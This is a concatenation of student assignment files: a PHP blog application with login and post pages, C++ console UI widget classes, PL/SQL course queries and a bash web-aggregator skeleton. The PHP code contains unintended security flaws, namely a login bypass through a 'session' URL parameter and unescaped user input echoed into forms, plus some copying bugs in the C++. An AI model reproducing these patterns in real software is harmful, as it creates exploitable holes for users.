width='100' height='100' />&nbsp; ~ Happy blog ~"; ?> </h1> <?php if(isset($_SESSION['isLoggedIn'])){ // if user is logged in, display a link to logout ?> <a href="./ctakata_a3_logout.php"><b>Logout</b></a> <?php } else{ // if user is logged out, display a link to login ?> <a href="./ctakata_a3_login.php"><b>Login</b></a> <?php } ?> <hr> <h2> <legend class="toplabel"><?php echo $ptitle; ?></legend> </h2> <file_sep>#include "ccheckmark.h" #include "clineedit.h" #include "console.h" #include <iostream> namespace cui{ CCheckMark::CCheckMark(bool Checked,const char* Format, const char* Text, int Row, int Col, int Width, bool IsRadio) :_Label(Text, 0, 4, Width-4), CField(Row, Col, Width, 1) { _Label.frame(this); _flag = true; _radio = IsRadio; std::strcpy(_format, Format); _data = &_flag; } CCheckMark::CCheckMark(const CCheckMark& C) :CField(C), _Label(C._Label) { _flag = C._flag; _radio = C._radio; std::strcpy(_format, C._format); _data = &_flag; } void CCheckMark::draw(int fn) { bool insertMode = false; console.strdsp(_format, absRow(), absCol(), 4, 4); if(!_flag) //Overwrite an empty space when _flag is false { console.strdsp(" ",absRow(), absCol()+1); } _Label.draw(); //move cursor to the middle of the checkmark console.setPos(absRow(), absCol()+1); } int CCheckMark::edit() { draw(); int key = console.getKey(); switch(key) { case SPACE: if(_radio == true) _flag = true; else _flag = !_flag; break; } draw(); return key; } bool CCheckMark::editable()const { return true; } void CCheckMark::set(const void* flag) { _flag = *((bool*)flag); } bool CCheckMark::checked()const { return _flag; } void CCheckMark::checked(bool val) { _flag = val; } bool CCheckMark::radio() { return _radio; } void CCheckMark::radio(bool isRadio) { _radio = isRadio; } CCheckMark::operator bool() { return _flag; } CCheckMark::operator char*() { return (char*)_Label.data(); } bool CCheckMark::operator=(bool flag) { _flag = flag; return _flag; } } <file_sep><?php $database_config_host = "db-mysql"; $database_config_database = "int322_132a18"; $database_config_username = "int322_132a18"; $database_config_password = "<PASSWORD>"; ?><file_sep>/* 1 */ SET SERVEROUTPUT ON SET VERIFY OFF ACCEPT x PROMPT 'Please provide the valid city without department:'; DECLARE v_city VARCHAR2(30):='&x'; depid departments.department_id%TYPE; depn departments.department_name%TYPE; manid employees.manager_id%TYPE; locn locations.location_id%TYPE; v_flag VARCHAR(10); v_flaga VARCHAR(10); BEGIN BEGIN SELECT 'Y' into v_flag from locations WHERE city = v_city; EXCEPTION WHEN NO_DATA_FOUND THEN dbms_output.put_line('This city is NOT listed:' || v_city); END; BEGIN SELECT 'N' into v_flaga FROM locations l,departments d WHERE l.city = v_city AND l.location_id = d.location_id; if v_flaga='N' THEN dbms_output.put_line('This city already contains department:' || v_city); END IF; EXCEPTION WHEN NO_DATA_FOUND THEN v_flaga:='Y'; WHEN TOO_MANY_ROWS THEN dbms_output.put_line('This city has MORE THAN ONE department:' || v_city); END; IF v_flag = 'Y' AND v_flaga = 'Y' THEN SELECT location_id into locn FROM locations WHERE city = v_city; SELECT MAX(department_id)+50,'Testing' into depid, depn FROM departments; Select manager_id into manid from employees group by manager_id HAVING count(employee_id) = (select max(y.num) from (SELECT manager_id, count(employee_id) as num from employees WHERE manager_id IS NOT NULL group by manager_id) y); INSERT INTO departments VALUES(depid,depn,manid,locn); END IF; ROLLBACK; END; / /* 2 */ SET SERVEROUTPUT ON SET VERIFY OFF ACCEPT descriptionName PROMPT 'Enter the beginning of the Course Description in UPPER case: ' DECLARE courseName course.description%TYPE := '&descriptionName'; CURSOR c1 IS SELECT section_ID FROM section WHERE course_no IN (SELECT course_no FROM course WHERE prerequisite IN (SELECT COURSE_NO FROM COURSE WHERE UPPER(description) LIKE UPPER(courseName||'%'))) ORDER BY section_id ASC; c1_record c1%ROWTYPE; v_flag VARCHAR(1); total_students NUMBER(2) := 0; no_course EXCEPTION; no_prereq EXCEPTION; BEGIN BEGIN SELECT 'Y' INTO v_flag FROM COURSE WHERE lower(description) LIKE lower(courseName||'%') AND rownum < 2; EXCEPTION WHEN NO_DATA_FOUND THEN RAISE no_course; END; OPEN c1; FETCH c1 INTO c1_record; IF c1%NOTFOUND THEN RAISE no_prereq; END IF; CLOSE c1; FOR i in c1 LOOP EXIT WHEN c1%NOTFOUND; SELECT COUNT(student_id) INTO total_students FROM enrollment WHERE section_id = i.section_id; IF total_students >= 7 THEN DBMS_OUTPUT.PUT_LINE('There are too many students for section ID ' || i.section_id); DBMS_OUTPUT.PUT_LINE('^^^^^^^^^^^^^^^^^^^^^^^^^^'); ELSE DBMS_OUTPUT.PUT_LINE('There are ' || total_students || ' students for section ID ' || i.section_id); END IF; END LOOP; EXCEPTION WHEN no_course THEN DBMS_OUTPUT.PUT_LINE('There is NO VALID course that starts on: ' || courseName || '. Try Again.'); WHEN no_prereq THEN DBMS_OUTPUT.PUT_LINE('There is NO PREREQUISITE course that starts on: ' || courseName || '. Try Again.'); END; / /* 3 */ SET SERVEROUTPUT ON SET VERIFY OFF ACCEPT descriptionName PROMPT 'Enter the beginning of the Course description in UPPER case: ' DECLARE courseName course.description%TYPE := '&descriptionName'; v_flag VARCHAR(1); TYPE prereqType IS RECORD ( prereqNo course.course_no%TYPE, description course.description%TYPE, cost course.cost%TYPE); TYPE CourseType IS RECORD ( courseNo course.course_no%TYPE, description course.description%TYPE, cost course.cost%TYPE, prereq prereqType); courseRec courseType; CURSOR c1 IS SELECT * -- get the prereq FROM COURSE WHERE upper(description) LIKE upper(courseName||'%'); prereq_rec c1%ROWTYPE; no_prereq EXCEPTION; BEGIN BEGIN SELECT 'Y' INTO v_flag FROM course WHERE upper(description) LIKE upper(courseName||'%') AND rownum < 2; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('There is NO VALID course that starts on: ' || upper(courseName) || ' Try again.'); END; IF v_flag = 'Y' THEN FOR prereq_rec IN c1 LOOP EXIT WHEN c1%NOTFOUND; BEGIN SELECT course_no, description, cost INTO courseRec.prereq.prereqNo, courseRec.prereq.description, courseRec.prereq.cost FROM course WHERE course_no = prereq_rec.prerequisite; EXCEPTION WHEN NO_DATA_FOUND THEN RAISE no_prereq; END; courseRec.courseNo := prereq_rec.course_no; courseRec.description := prereq_rec.description; courseRec.cost := prereq_rec.cost; DBMS_OUTPUT.PUT_LINE('Course: ' || courseRec.courseNo || ' - ' || courseRec.description); DBMS_OUTPUT.PUT_LINE('Cost: ' || courseRec.cost); DBMS_OUTPUT.PUT_LINE('Prerequisite: ' || courseRec.prereq.prereqNo || ' - ' || courseRec.prereq.description); DBMS_OUTPUT.PUT_LINE('Prerequisite Cost: ' || courseRec.prereq.cost); DBMS_OUTPUT.PUT_LINE('========================================'); END LOOP; END IF; EXCEPTION WHEN no_prereq THEN DBMS_OUTPUT.PUT_LINE('There is NO prerequisite course for any course that starts on ' || upper(courseName) || ' Try again.'); END; / /* 4 */ SET SERVEROUTPUT ON SET VERIFY OFF ACCEPT key1 PROMPT 'Please enter first keyword of within the course description: ' ACCEPT key2 PROMPT 'Please enter second keyword of within the course description: ' DECLARE v_key1 course.description%TYPE := '&key1'; v_key2 course.description%TYPE := '&key2'; v_index NUMBER(3) := 0; BEGIN FOR i IN(SELECT course_no, description FROM course WHERE UPPER(description) LIKE UPPER('%' || v_key1 || '%') AND UPPER(description) LIKE UPPER('%' || v_key2 || '%') ORDER BY course_no) LOOP DBMS_OUTPUT.PUT_LINE(i.course_no || ' ' || i.description); DBMS_OUTPUT.PUT_LINE('**************************************'); FOR j IN(SELECT COUNT(distinct(e.student_id)) total_enr, s.section_no FROM enrollment e, section s, course cs WHERE e.section_id = s.section_id AND s.course_no = cs.course_no AND i.course_no = cs.course_no GROUP BY s.section_no) LOOP DBMS_OUTPUT.PUT_LINE('Section: ' || j.section_no || ' has an enrollment of:' || j.total_enr); END LOOP; v_index := v_index + 1; END LOOP; IF v_index = 0 THEN DBMS_OUTPUT.PUT_LINE('There is NO course containing these 2 words. Try again.'); END IF; END; / /* 5 */ SET SERVEROUTPUT ON DECLARE CURSOR c1 IS SELECT s.section_id, s.course_no, s.section_no, s.instructor_id, s.capacity FROM section s, (SELECT section_id, COUNT(student_id) AS TOTAL FROM enrollment GROUP BY section_id ORDER BY section_id) e WHERE s.section_id = e.section_id AND e.total >= s.capacity ORDER BY s.course_no DESC; c1_record c1%ROWTYPE; v_instructorID section.instructor_id%TYPE; v_sectionID section.section_id%TYPE; v_sectionNo section.section_no%TYPE; e_course EXCEPTION; BEGIN UPDATE section SET capacity = 12 WHERE section_id = 101; SELECT i.instructor_id INTO v_instructorID FROM instructor i WHERE NOT EXISTS (SELECT s.instructor_id FROM section s WHERE i.instructor_id = s.instructor_id) AND mod(i.instructor_id, 2) = 0; OPEN c1; FETCH c1 INTO c1_record; IF c1%NOTFOUND THEN RAISE e_course; END IF; CLOSE c1; FOR i IN c1 LOOP EXIT WHEN c1%NOTFOUND; SELECT (MAX(section_no) + 1) INTO v_sectionNo FROM section WHERE course_no = i.course_no; SELECT (MAX(section_id) + 1) INTO v_sectionID FROM section; INSERT INTO section (section_id, course_no, section_no, instructor_id, capacity, created_by, created_date, modified_by, modified_date) VALUES (v_sectionID, i.course_no, v_sectionNo, v_instructorID, i.capacity, 'CHISA', SYSDATE, 'CHISA', SYSDATE); END LOOP; EXCEPTION WHEN e_course THEN DBMS_OUTPUT.PUT_LINE('There are no courses that exceed capacity.'); END; / SELECT section_id, course_no, section_no, instructor_id, capacity, created_date FROM section WHERE created_by = 'CHISA'; ROLLBACK;<file_sep>#include "cuigh.h" #include "cdialog.h" #include "cfield.h" #include "console.h" namespace cui { CDialog::CDialog(CFrame *Container, int Row, int Col, int Width, int Height, bool Borderd, const char* Border) : CFrame(Row, Col, Width, Height, Borderd, Border, Container) { _fldSize = C_INITIAL_NO_FIELDS; _fnum = 0; _curidx = -1; _fld = new CField*[_fldSize]; _dyn = new bool[_fldSize]; for(int i = 0; i < (int)_fldSize; i++){ _fld[i] = 0; _dyn[i] = false; } } CDialog::~CDialog() { for(int i = 0; i < _fnum; i++){ if(_dyn[i]){ delete _fld[i]; } } delete[] _fld; delete[] _dyn; } void CDialog::draw(int fn) { if(fn == C_FULL_FRAME){ CFrame::draw(); for(int i = 0; i < (int)_fnum; i++){ _fld[i]->draw(fn); } } else if(fn == 0){ for(int i = 0; i < (int)_fnum; i++){ _fld[i]->draw(fn); } } else if(fn > 0){ _fld[fn - 1]->draw(fn); } } int CDialog::edit(int fn) { int key; draw(); if(!_editable){ key = console.getKey(); } else{ bool done = false; int fstEditable; if(fn <= 0){ _curidx = 0; // from the first } else{ _curidx = fn - 1; // search from on or after fn } // this loop is going to search for the editable field // the above logic will determine where to begin searching from // initialization for this loop is done above for(; _curidx < _fnum; _curidx++){ if(_fld[_curidx]->editable()){ fstEditable = _curidx; break; } } // edit do { key = _fld[_curidx]->edit(); // get a key from the current field switch(key){ case ENTER: case TAB: case DOWN: do { _curidx++; if(_curidx >= _fnum) { _curidx = 0; } } while(!_fld[_curidx]->editable()); break; case UP: do { _curidx--; if(_curidx < 0) { _curidx = _fnum - 1; } } while(!_fld[_curidx]->editable()); break; default: done = true; break; } } while (!done); } return key; } int CDialog::add(CField* field, bool dynamic) { if(_fnum >= (int)_fldSize){ CField** _tempFld = new CField*[_fldSize]; bool* _tempDyn = new bool[_fldSize]; for(int i = 0; i < (int)_fldSize; i++){ _tempFld[i] = _fld[i]; _tempDyn[i]= _tempDyn[i]; } _fldSize += C_DIALOG_EXPANSION_SIZE; delete [] _fld; delete [] _dyn; _fld = new CField*[_fldSize]; _dyn = new bool[_fldSize]; for(int i = 0; i < (int)_fldSize - C_DIALOG_EXPANSION_SIZE; i++){ _fld[i] = _tempFld[i]; _dyn[i] = _tempDyn[i]; } delete [] _tempFld; delete [] _tempDyn; } _fld[_fnum] = field; _dyn[_fnum] = dynamic; if(_fld[_fnum]->editable()){ _editable = true; } _fld[_fnum]->container(this); _fnum++; return _fnum - 1; } int CDialog::add(CField& field, bool dynamic) { return add(&field, dynamic); } CDialog& CDialog::operator<<(CField* field) { add(field); return *this; } CDialog& CDialog::operator<<(CField& field) { add(field); return *this; } bool CDialog::editable() { return _editable; } int CDialog::fieldNum()const { return _fnum; } int CDialog::curIndex()const { return _curidx; } CField& CDialog::operator[](unsigned int index) { return *_fld[index]; } CField& CDialog::curField() { return *_fld[_curidx]; } }<file_sep><?php //******************************************************************// // The Purpose of this file: // // This is the file is to let the used login and // //******************************************************************// ?> <?php $username = ""; $password = ""; $errorMsg = ""; if($_SERVER['REQUEST_METHOD'] == "GET"){ // display a login form dspLoginForm($username); } else if($_SERVER['REQUEST_METHOD'] == "POST"){ $username = $_POST['username']; $password = $_POST['<PASSWORD>']; $from = "login"; // access database and select/insert blog posts require "ctakata_a3_db.php"; require "ctakata_a3_PasswordHash.php"; // if userid and password are validated, let the user login. if not, then display an error message and the user id $result = $stmt->fetch(PDO::FETCH_ASSOC); $validateResult = validate_password($password, $result['password']); if($validateResult){ session_start(); session_regenerate_id(); $_SESSION['isLoggedIn'] = true; header('Location: ctakata_a3_index.php'); } else{ $errorMsg = "Username or Password invalid"; dspLoginForm($username, $errorMsg); } } ?> <?php // Display login form function dspLoginForm($username, $errorMsg = NULL){ $ptitle = "Login Form"; include('ctakata_a3_header.php'); // include the top file include('ctakata_a3_top.php'); ?> <center><p class="pindex"><?php echo $errorMsg ; ?></p></center> <form method="post"> <center> <table class="tableprv"> <tr> <td class="tdent tdprv"><p class="pindex">Username</p></td> <td class="tdent tdprv"><input type="text" name="username" value="<?php echo $username ?>"></td> </tr> <tr> <td class="tdent tdprv"><p class="pindex">Password</p></td> <td class="tdent tdprv"><input type="<PASSWORD>" name="password"></td> </tr> <tr> <td class="tdent tdprv" colspan="2"><center><input type="submit" name="login" value="login"></center></td> </tr> </table> </center> </form> <?php // include the footer file include ('ctakata_a3_footer.php'); } ?> <file_sep><?php //******************************************************************// // The Purpose of this file: // // This is the file of is to logout and redirect to // // index/login page // //******************************************************************// ?> <?php if($_SERVER['REQUEST_METHOD'] == "POST"){ // reset the session and jump to the login page session_destroy(); session_start(); session_regenerate_id(); header("Location: ctakata_a3_login.php"); } else if($_SERVER['REQUEST_METHOD'] == "GET"){ // jump to the index page header("Location: ctakata_a3_index.php"); } ?><file_sep>#pragma once #include "cfield.h" namespace cui{ class CButton: public CField{ public: CButton(const char *Str, int Row, int Col, bool Bordered = true, const char* Border=C_BORDER_CHARS); virtual ~CButton(); void draw(int rn=C_FULL_FRAME); int edit(); bool editable()const; void set(const void* str); }; }<file_sep>#!/bin/bash ######################################################################### # DO NOTE REMOVE OR CHANGE THIS BLOCK WHILE YOU COMPLETE THE ASSIGNMENT # ASSIGNMENTS COMPLETED WITHOUT THIS BLOCK INTACT WILL NOT BE GRADED # # ULI101 - FALL 2012 # ASSIGNMENT 2 BY: <NAME> # <EMAIL> # # PLEASE REMEMBER THAT SHARING YOUR SOLUTION WITH ANOTHER STUDENT # IN PART OR IN ENTIRETY IS A VIOLATION OF THE ACADEMIC POLICY # # BIGBROTHER COMMAND VERIFIES THAT YOU COMPLETE THE WORK INDEPENDENTLY # BY RECORDING YOUR PROGRESS AND COLLECTING STATISTICAL DATA # # IF YOU DELETE OR DAMAGE THE COMMAND BELOW BY ACCIDENT, YOU CAN RETRIEVE # THE ORIGINAL BY ISSUING THE ASSIGNMENT START COMMAND AGAIN bigbrother aa0f684c7cbd4f2a71d65822221fab95a3597705 aggregator ######################################################################### # TO DO: Check if the required argument (URL) is provided # Display an error message and exit with status 1 on error # HINT: check if $# is less than 1 if [ ] then echo exit fi echo "$1" | grep -E "^https?://" > /dev/null if [ $? -ne 0 ] then echo "The URL must start with \"http://\"" # TO DO: Set the exit status to 2 exit fi # Download and preprocess the page, download all images and create thumbnails # Also, create HTML markup for thumbnails # All files will be stored in ~/uli101.a2/tmp/ uli101.a2.getfiles "$1" # Find out the server name and path # This is what appears in the URL after http:// # This is the directory to be created # TO DO: Use the cut command to accomplish the above # HINT: Cut the URL from third field onwards using / as delimiter directory=$(echo "$1" | ) # Delete the report directory - fresh start rm -r ~/public_html/aggregator/$directory 2> /dev/null # Create the report directory based on the URL # TO DO: Create the directory where the report files will be copied into # HINT: You need to re-create the directory deleted above # Set the path to the report file output_file=~/public_html/aggregator/$directory/index.html # Begin the report - HTML page headings cat << TOP > $output_file <!doctype html> <html> <head> <title>ULI101 Aggregator Report Page</title> </head> <body> <h1>Page summary</h1> <ul> TOP # Find out the file size # TO DO: Finish the cut command # HINT: You need to extract the size value using a space as a delimiter size=$(ls -lh ~/uli101.a2/tmp/input.html | cut) echo "<li>File size: $size</li>" >> $output_file # TO DO: Count the lines in the file and append the result to the report # HINT: Use cat, wc and/or cut commands on input.html # FIGURE THIS OUT ON THE COMMAND LINE FIRST # Count the number of HTML headings in the file and append result to report headings=$(grep -ci "<h[1-6]" ~/uli101.a2/tmp/input.html) echo "<li>Number of headings: $headings</li>" >> $output_file # TO DO: Count out the number of paragraphs and append result to report # HINT: Use grep as above to match "<p[ >]" # TO DO: Count out the number of hyperlinks and append result to report # TO DO: Count out the number of <br> tags and append result to report # HINT: Use grep as above to match "<br[ >]" echo "</ul>" >> $output_file echo "<h1>Images</h1>" >> $output_file echo "<p>" >> $output_file # TO DO: Append the entire thumbnails.html file to the report # HINT: Use the cat command and >> redirection # TO DO: Move all thumbnails from ~/uli101.a2/tmp/ to the report directory # HINT: The destination is: ~/public_html/aggregator/$directory echo "</p>" >> $output_file # TO DO: Add a hyperlink to the original page to the report # HINT: The hyperlink is stored in $1. Use echo and >> redirection # TO DO: Add current date to the report # HINT: Use the date command echo "<p>Page aggregated on: ???</p>" >> $output_file echo "</body>" >> $output_file echo "</html>" >> $output_file # Print the output line to the console # This is the only output printed to the console for the entire script # TO DO: Finish the output line to the terminal as specified on course website echo -e "$1\t" <file_sep>#include "ctext.h" #include "console.h" namespace cui { CText::CText(int Row, int Col, int Width, int Height, bool* Insertmode, bool displayOnly, const char* Border) : CField(Row, Col, Width, Height, (void*)0, false, Border) { _curpos = _offset = _lcurpos = _loffset = 0; } CText::CText(const char* Str, int Row, int Col, int Width, int Height, bool* Insertmode, bool displayOnly, const char* Border) : CField(Row, Col, Width, Height, (void*)0, false, Border), _T(Str) { _curpos = _offset = _lcurpos = _loffset = 0; } void CText::draw(int fn) { CField::draw(); int linePos = _loffset; for(int i = 0; i < height()-2 ; i++, linePos++) { if(_T[linePos+_loffset].strlen() > (unsigned int)_offset) console.strdsp(&_T[linePos][_offset], absRow()+i, absCol(), CField::width()); } } void CText::set(const void *Str) { _T = (char*) Str; } void* CText::data()const { return (void*) _T.exportString(); } int CText::edit() { Text T = _T; int curpos = _curpos; int offset = _offset; int lcurpos = _lcurpos; int loffset = _loffset; bool editting = true; int key; while(editting) { refresh(); draw(); console.setPos(absRow()+_lcurpos, absCol()+_curpos); key = console.stredit(T[_loffset+_lcurpos], absRow()+_lcurpos, absCol(), width(), _T[_loffset+_lcurpos].strlen(),&_offset, &_curpos, true, _displayOnly, *_insertmode); switch(key) { case DOWN: if(_lcurpos < height()-2) _lcurpos++; else if((unsigned int)_lcurpos+_loffset < _T.size()) _loffset++; else {} break; case UP: if(_lcurpos > 0) _lcurpos--; else if(_loffset > 0) _loffset--; else {} break; } if (key == ESCAPE) editting = false; } return key; } bool CText::editable()const { return true; } bool CText::displayOnly() { return _displayOnly; } void CText::displayOnly(bool val) { _displayOnly = val; } } <file_sep><?php //******************************************************************// // The Purpose of this file: // // This is the view post file of a blogging application form // // which displays the last 10 posts // //******************************************************************// ?> <?php session_start(); if($_GET && $_GET['session'] == session_id()){ $_SESSION['isLoggedIn'] = true; } // include the header file $ptitle = "Post Display"; include('ctakata_a3_header.php'); // include the top file include('ctakata_a3_top.php'); // select the last 10 posts from the database called BlogPost if (array_key_exists("id", $_GET)) { ?> <ul> <?php $from = "viewpost"; // access database and select/insert blog posts require "ctakata_a3_db.php"; $exist = false; // display the matched post ?> <table class="tableprv"> <?php foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row) { // convert color code into color name $color = ''; if($row['color'] == 0){ $color = 'red'; } else if($row['color'] == 1){ $color = 'yellow'; } else if($row['color'] == 2){ $color = 'blue'; } // if user is logged in, Blog ID is shown and it has a link to the entry page if(isset($_SESSION['isLoggedIn'])){ ?> <tr> <td class="tdent tdprv width100">Blog ID </td> <td class="tdent tdprv width500" style="color:<?php echo $color; ?>;"> <a href="./ctakata_a3_entry.php?id=<?php echo $row['id'] ?>&session=<?php echo session_id(); ?>"> <?php print htmlentities($row['id']); ?></a> </td> </tr> <?php } ?> <tr> <td class="tdent tdprv width100">Title </td> <td class="tdent tdprv width500" style="color:<?php echo $color; ?>;"><?php echo htmlentities($row['title']); ?></td> </tr> <tr> <td class="tdent tdprv width100">Posting </td> <td class="tdent tdprv width500" style="color:<?php echo $color; ?>;"><?php echo str_replace(' ', ' &nbsp;', nl2br(htmlentities($row['text']))); ?></td> </tr> <?php $exist = true; } ?> </table> <?php // if a post does not match if($exist == false) { ?> <p class="pbody">Sorry, could not find that post.<br /><br /> <a href="ctakata_a3_index.php">Back to Index</a></p><br /> <?php } } ?> </ul> <?php // menu buttons ?> <div id="wrapper"> <ul> <li class="lstprv"><a href="../index.html" class="menu">&nbsp;My zenit Account&nbsp;</a> <?php if(isset($_SESSION['isLoggedIn'])){ ?> || <a href="./ctakata_a3_entry.php?session=<?php echo session_id(); ?>" class="menu">&nbsp;New Entry&nbsp;</a> || <a href="./ctakata_a3_index.php?session=<?php echo session_id(); ?>" class="menu">&nbsp;Index&nbsp;</a></li> <?php } else { ?> || <a href="./ctakata_a3_entry.php" class="menu">&nbsp;New Entry&nbsp;</a> || <a href="./ctakata_a3_index.php" class="menu">&nbsp;Index&nbsp;</a></li> <?php } ?> </ul> </div> <?php // include the footer file include ('ctakata_a3_footer.php'); session_destroy(); $session = session_id(); $_SESSION['isLoggedIn'] = true; ?><file_sep><?php //**************************************************************// // The Purpose of this file: // // This is the main file of a blogging application form // // which has a entry form // //**************************************************************// ?> <?php ERROR_REPORTING(E_ERROR | E_PARSE | E_WARNING); session_start(); if($_GET && $_GET['session'] ==session_id()){ $_SESSION['isLoggedIn'] = true; } if(!isset($_SESSION['isLoggedIn'])){ header("Location: ctakata_a3_index.php"); } //publish if(isset($_POST['publish'])){ // color name converts into color id $color = ''; if($_SESSION['color'] == 'red'){ $color = 0; } else if($_SESSION['color'] == 'yellow') { $color = 1; } else{ $color = 2; } // decalare variables $title = $_SESSION['title']; $text = $_SESSION['text']; // if the post is existed, then it will be edited. if not, it will be created if($_SESSION['id']){ $from = "update"; $id = $_SESSION['id']; } else{ $from = "publish"; } // access database and select/insert blog posts require "ctakata_a3_db.php"; $id = 0; $session = session_id(); foreach ($stmt2 -> fetchAll(PDO::FETCH_ASSOC) as $row){ $id = $row["id"]; } // redirect to the view post page header("Location: ./ctakata_a3_view_post.php?id=".$id."&session=".$session); } // edit else if(isset($_POST['edit'])){ $id = $_SESSION['id']; $session = session_id(); $edit = true; // redirect to the entry page with entered data if(isset($_SESSION['isLoggedIn'])){ header("Location: ctakata_a3_entry.php?id=".$id."&session=".$session."&edit=".$edit); } else{ header("Location: ctakata_a3_entry.php?id=".$id."&edit=".$edit); } } // cancel else if(isset($_POST['cancel'])){ // redirect to the entry page without data session_destroy(); session_start(); $_SESSION['isLoggedIn'] = true; header("Location: ctakata_a3_entry.php"); } // validation else if($_POST){ // keep data of $_POST to $_SESSION foreach($_POST as $keys => $value){ $_SESSION[$keys] = $value; } // declare variables $errors = false; // error flag $errorTitle = ''; // error code for title $errorText = ''; // error code for posting // title // remove whitespaces from the beginning and end of a string and if there are multiple whitespaces, replace a space $title = $_POST['title']; $title = preg_replace('/\s\s+/', ' ', trim($title)); // if the title is blank if(!preg_match('/.{1,}?/', $title)){ $errorTitle = 'blank'; $errors = true; } // if the title has more than 50 character else if(preg_match('/.{51,}?/', $title)){ $errorTitle = 'overrange'; $errors = true; } // if the title has other than upper and lower case letters, spaces, hyphens and digits else if(preg_match('/[^a-zA-Z0-9 -]/', $title)){ $errorTitle = 'operators'; $errors = true; } // posting // remove whitespaces from the beginning and end of a string and if there are multiple whitespaces, replace a space $text = $_POST['text']; $text = preg_replace('/\s\s+/', ' ', trim($text)); // if the posting is blank if(!preg_match('/.{1,}?/', $text)){ $errorText = 'blank'; $errors = true; } // if the posting has more than 500 characters else if(preg_match('/.{501,}?/', $text)){ $errorText = 'overrange'; $errors = true; } // if the posting has other than upper and lower case letters, spaces, hyphens, single quote marks, <> and digits(new line is accepted) else if(preg_match("/[^a-zA-Z0-9 \'<>-]\\n/", $text)){ $errorText = 'operators'; $errors = true; } // display the post preview if there are no errors if(!$errors) { showPreview(); } // when the input is invalid else { // include the header file $ptitle = "Post Entry"; include('ctakata_a3_header.php'); // include the top file include('ctakata_a3_top.php'); // display the post entry again with error messages displayForm($errorTitle, $errorText); } } else { // $_POST is empty which means when the page is first loaded // include the header file $ptitle = "Post Entry"; include('ctakata_a3_header.php'); // include the top file include('ctakata_a3_top.php'); // call the form display function displayForm($errorTitle, $errorText); } // display error messages function displayErrorMessage($errorTitle, $errorText) { // if there is no error if($errorTitle == '' && $errorText == '') return; switch($errorTitle){ case 'blank'; echo "<p class='pbody'>Title cannot be blank or all whitespaces.</p>"; break; case 'operators'; echo "<p class='pbody'>Title can have only upper and lower case letters, spaces, hyphens and digits.</p>"; break; case 'overrange'; echo "<p class='pbody'>Title cannot have more than 50 characters.</p>"; break; } switch($errorText){ case 'blank'; echo "<p class='pbody'>Posting cannot be blank or all whitespaces.</p>"; break; case 'operators'; echo "<p class='pbody'>Posting can have only upper and lower case letters, spaces, hyphens, single quote marks, <> and digits.</p>"; break; case 'overrange'; echo "<p class='pbody'>Posting cannot have more than 500 characters.</p>"; break; } } // display menu buttons ?> <div id="wrapper"> <ul> <li class="lstprv"><a href="../index.html" class="menu">&nbsp;My zenit Account&nbsp;</a> <?php if(isset($_SESSION['isLoggedIn'])){ ?> || <a href="./ctakata_a3_entry.php?session=<?php echo session_id(); ?>" class="menu">&nbsp;New Entry&nbsp;</a> || <a href="./ctakata_a3_index.php?session=<?php echo session_id(); ?>" class="menu">&nbsp;Index&nbsp;</a></li> <?php } else { ?> || <a href="./ctakata_a3_entry.php" class="menu">&nbsp;New Entry&nbsp;</a> || <a href="./ctakata_a3_index.php" class="menu">&nbsp;Index&nbsp;</a></li> <?php } ?> </ul> </div> <?php // include the footer file include ('ctakata_a3_footer.php'); ?> <?php // Application Form function displayForm($errorTitle, $errorText) { // when user clicks the edit button, the previous entered info is sent if($_SESSION){ $_POST['title'] = $_SESSION['title']; $_POST['text'] = $_SESSION['text']; $_POST['color'] = $_SESSION['color']; } // if an existed post is edited $_SESSION['id'] = ""; if($_GET['id'] != "" && $_GET['edit'] != true){ $from = "viewpost"; $_SESSION['id'] = $_GET['id']; $_SESSION['isLoggedIn'] = true; // access database and select/insert blog posts require "ctakata_a3_db.php"; foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row) { // convert color code into color name $color = ''; if($row['color'] == 0){ $color = 'red'; } else if($row['color'] == 1){ $color = 'yellow'; } else if($row['color'] == 2){ $color = 'blue'; } $_POST['title'] = $row['title']; $_POST['text'] = $row['text']; $_POST['color'] = $color; } } ?> <form method="POST" action="<?php echo $_SERVER['PHP_SELF'] ?>"> <div class='divmain'> <fieldset> <legend>Blogging Application Form</legend> <table> <tr> <td class="tdent">Title</td> <td class="tdent"> <input type="text" id="title" name="title" size="60" value="<?php echo $_POST['title']; ?>"><br /> <?php displayErrorMessage($errorTitle, ''); ?> </td> </tr> <tr> <td class="tdent">Posting</td> <td class="tdent"> <textarea cols="60" rows="5" id="text" name="text"><?php echo $_POST['text']; ?></textarea><br /> <?php displayErrorMessage('', $errorText); ?> </td> </tr> <tr> <td class="tdent">Color</td> <td class="tdent"> <input type="radio" name="color" value="red" checked> Red <input type="radio" name="color" value="yellow" <?php if($_POST['color'] == "yellow") echo "checked"; ?>> Yellow <input type="radio" name="color" value="blue" <?php if($_POST['color'] == "blue") echo "checked"; ?>> Blue </td> </tr> <tr> <td>&nbsp;</td> <td><input class="submitbtn" type="submit" value="submit"></td> </tr> </table> <?php if($_SESSION['id'] != "") { ?> <input type="hidden" name="id" value="<?php echo $_SESSION['id']; ?>"> <?php } ?> <input type="hidden" name="session" value="<?php echo session_id(); ?>"> </fieldset> </div> </form> <?php }?> <?php // Post Preview function showPreview(){ // include the header file $ptitle = "Post Preview"; include('ctakata_a3_header.php'); // include the top file include('ctakata_a3_top.php'); ?> <div class="divmain"> <fieldset> <legend>Post Preview</legend> <table class="tableprv" width="650" style="word-break:break-all;"> <tr> <td class="tdprv" width="100">Title: </td> <td class="tdprv" width="550" style="color:<?php echo $_POST['color']; ?>;"><?php echo htmlentities($_POST['title']); ?></td> </tr> <tr> <td class="tdprv" width="100">Posting: </td> <td class="tdprv" width="550" style="color:<?php echo $_POST['color']; ?>;"><?php echo str_replace(' ', ' &nbsp;', nl2br(htmlentities($_POST['text']))); ?></td> </tr> </table> </fieldset> <form method="post"> <?php // publish button ?> <button class="editbtns" name="publish">publish</button> <?php // edit button ?> <button class="editbtns" name="edit">edit</button> <?php // cancel button ?> <button class="editbtns" name="cancel">cancel</button> <input type="hidden" name="id" value="<?php echo $_POST['id']; ?>"> </form> </div> <?php } ?><file_sep>#include "console.h" #include "cmenuitem.h" namespace cui { // constructors CMenuItem::CMenuItem(bool Selected, const char* Format, const char* Text, int Row, int Col, int Width) : CField(Row, Col, Width, 1), Label(Text, 0, 1, Width - 2) { _selected = Selected; bio::strcpy(_format, Format); CField::_data = _format; Label.frame(this); } CMenuItem::CMenuItem(const CMenuItem& CM) : CField(CM), Label(CM.Label) { _selected = CM._selected; CField::_data = 